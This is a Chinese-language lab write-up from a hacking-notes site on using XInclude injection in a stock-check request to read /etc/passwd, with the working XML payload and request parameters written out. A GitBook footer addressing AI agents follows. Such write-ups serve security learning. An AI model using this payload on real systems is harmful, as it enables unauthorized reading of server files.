> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/file-reading-with-xinclude.md).

# 使用 XInclude 读取文件

### 利用 XInclude 检索文件

该实验室有一个 **检查库存** 该功能会将用户提供的输入插入到服务器端 XML 文档中，然后进行扫描。你无法控制整个 XML 文档，因此不可能为经典 XXE 定义 DTD。

使用 **XInclude** 以恢复……的内容 **/etc/passwd** 通过注入一个会被服务器端解析器解析的 XInclude 包含来恢复该文件的内容。

* 最初发送的设置： `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* 检查：……的值 `productId` 会被服务器恢复并分析。例如 `productId=test&storeId=1` 会被解析并反映出来。

```
productId=test&storeId=1
```

<figure><img src="/files/0bc67661e53ee4dba4bfcbd400fef3ce160a8107" alt=""><figcaption></figcaption></figure>

将 XInclude 包含注入到 `productId` 以强制读取本地文件。

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

发送的示例参数：

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

解析器会解释 XInclude 包含并整合 `/etc/passwd` 内容到被分析的文档中——所提供的值在 `productId` 被处理，文件被读取。

<figure><img src="/files/f137da3a40cf9e9d1619914e50de3f5391b0d4da" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.